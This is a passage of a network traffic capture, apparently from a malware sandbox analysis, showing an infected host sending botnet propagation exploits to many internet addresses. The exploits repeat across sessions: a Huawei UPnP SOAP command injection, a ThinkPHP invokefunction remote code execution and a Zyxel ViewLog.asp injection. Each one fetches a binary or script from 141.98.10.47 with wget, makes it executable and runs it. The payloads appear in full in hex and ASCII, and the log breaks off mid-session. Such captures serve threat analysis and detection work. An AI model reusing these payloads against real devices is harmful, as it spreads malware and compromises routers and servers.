xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 141.98.10.47 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 26, 2023 21:25:00.367322922 CET	826	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 31 2e 39 38 2e 31 30 2e 34 37 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 141.98.10.47 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 26, 2023 21:25:04.270761013 CET	826	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 31 2e 39 38 2e 31 30 2e 34 37 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 141.98.10.47 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 26, 2023 21:25:11.949759007 CET	826	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 31 2e 39 38 2e 31 30 2e 34 37 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 141.98.10.47 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 26, 2023 21:25:27.307569027 CET	826	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 31 2e 39 38 2e 31 30 2e 34 37 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 141.98.10.47 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 26, 2023 21:25:59.558964014 CET	826	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 31 2e 39 38 2e 31 30 2e 34 37 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 141.98.10.47 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
401	192.168.2.23	54996	88.221.25.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:57.907011986 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:58.153074980 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:24:58 GMT Date: Tue, 26 Dec 2023 20:24:58 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 64 31 39 64 64 35 38 26 23 34 36 3b 31 37 30 33 36 32 32 32 39 38 26 23 34 36 3b 34 31 33 64 65 64 39 39 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.8d19dd58.1703622298.413ded99</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
402	192.168.2.23	52574	95.56.93.107	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:58.007280111 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:58.344412088 CET	29	IN	HTTP/1.1 200 OK
Dec 26, 2023 21:24:58.344748974 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
403	192.168.2.23	33508	112.78.11.10	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:58.063926935 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:58.448425055 CET	406	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:25:02 GMT Server: Apache/2 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
404	192.168.2.23	39650	88.221.207.83	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:01.690404892 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:02.425750017 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:02.661992073 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:25:02 GMT Date: Tue, 26 Dec 2023 20:25:02 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 38 62 35 33 65 31 37 26 23 34 36 3b 31 37 30 33 36 32 32 33 30 32 26 23 34 36 3b 34 34 63 39 64 36 61 62 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.98b53e17.1703622302.44c9d6ab</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
405	192.168.2.23	38740	95.214.147.229	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:01.730596066 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
406	192.168.2.23	32794	88.225.214.159	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:01.759529114 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:02.064172029 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:25:01 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
407	192.168.2.23	37120	94.21.243.92	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:01.762926102 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
408	192.168.2.23	37976	94.121.123.168	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:01.778665066 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
409	192.168.2.23	46338	95.86.113.32	8080

Timestamp	Bytes transferred	Direction	Data
